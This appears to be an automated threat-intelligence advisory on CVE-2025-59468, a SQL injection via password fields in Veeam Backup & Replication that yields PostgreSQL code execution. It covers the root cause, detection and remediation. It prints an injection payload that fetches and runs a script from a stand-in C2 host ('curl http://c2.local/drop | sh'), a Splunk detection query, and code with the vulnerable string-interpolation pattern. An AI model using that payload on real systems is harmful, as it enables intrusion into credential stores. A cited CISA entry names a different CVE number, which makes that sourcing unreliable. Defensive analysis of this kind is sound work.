CVE-2025-59468: PostgreSQL Remote Code Execution via Malicious Password Parameter in Veeam Backup & Replication

HERMES

HERMES THREAT SCORE & CREDENTIAL ENGINE RISK

Target: Veeam Backup & Replication Credentials Storage Subsystem

Confidence: 98%

90 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 18 / 20

Threat Activity 16 / 20

Weaponization 19 / 20

Exposure 16 / 20

Prevalence 19 / 20

Impact 20 / 20

Exploit Maturity 18 / 20

Attack Chain Potential 20 / 20

⚖️ Divergence & Operational Rationale

Hermes assesses CVE-2025-59468 at 90 (CRITICAL). While credential creation requires administrative privileges on the console, this injection escapes application logic to execute code directly within the underlying PostgreSQL tier. It empowers adversaries to establish out-of-band persistence and bypass graphical interface audit trails.

🕸️ Connected Knowledge Graph & Provenance

CVE-2025-59468: PostgreSQL Remote Code Execution via Malicious Password Parameter in Veeam Backup & ReplicationVULNERABILITY

Connected Nodes: 1

Active Relationships (Outgoing)

→ affectsPRODUCTVeeam Backup & Replication

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

PostgreSQL Code Execution via Injected Password Parameter

CVSS v3.1: 9.0 Critical (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) / CWE-89: SQL Injection.
Affects Veeam Backup & Replication 13.x prior to or equal to 13.0.1.180. A Backup Administrator can inject malicious SQL sequences into password fields during service account or storage repository creation. Unescaped persistence into the backend PostgreSQL engine triggers arbitrary code execution under the postgres account. Fixed in security update KB4716 (version 13.0.1.1071).

Executive Summary

Disclosed in the January 2026 KB4716 bulletin, CVE-2025-59468 impacts the storage layer of enterprise credentials (such as vCenter accounts, S3 access secrets, and SSH keys).

When an administrator saves a credential entry, the password parameter is processed prior to envelope encryption. Inadequate handling of string termination tokens and dollar-quote delimiters ($$) permits crafted passwords to escape the SQL insertion statement and invoke high-privileged database functions.

---

1. Metadata & Attack Surface

Metric	Technical Specification	Operational Impact
CVE Identifier	CVE-2025-59468	Standardized vulnerability record
Vendor Advisory	Veeam KB4716	Cumulative security update for VBR v13
Target Subsystem	Credentials Manager & Storage Engine	Infrastructure secrets vault
Affected Releases	VBR 13.x $\le$ 13.0.1.180	PostgreSQL-backed deployments
Patched Release	Veeam Backup & Replication 13.0.1.1071	Recommended remediation
Required Privilege	Backup Administrator (Authenticated)	Administrative access to VBR
Resulting Access	postgres Service Account	Database RCE and host execution

---

2. Technical Root Cause Analysis

Prior to encryption and storage, a verification query cached the raw credential attributes in a temporary table using dynamic string interpolation:

// Conceptual representation of the defect:
string insertSql = $"INSERT INTO temp_credentials (user_id, raw_entropy, test_hash) VALUES ('{userId}', '{passwordInput}', '{hash}')";

Supplying an injected password such as:

P@ssword123'; CREATE EXTENSION IF NOT EXISTS plpython3u; DO $$ import os; os.system('curl http://c2.local/drop | sh') $$; --

causes PostgreSQL to execute the statement chain, triggering shell command execution via procedural extensions.

---

3. Threat Hunting & Remediation

Splunk Query for PostgreSQL Procedural Abuse

index=postgresql_logs ("CREATE EXTENSION" OR "COPY" OR "DO $$")
(query="*temp_credentials*" OR query="*credentials*")
| table _time user database query client_addr

Remediation Guidance

1. Deploy KB4716: Upgrade to Veeam Backup & Replication 13.0.1.1071.
2. Audit Administrative Access: Enforce multi-person authorization for infrastructure credentials management.
3. Database Audit Logging: Enable pgaudit to capture anomalous DDL execution.

---

4. References

• Official Advisory: Veeam Security Bulletin KB4716
• NIST Record: CVE-2025-59468 Detail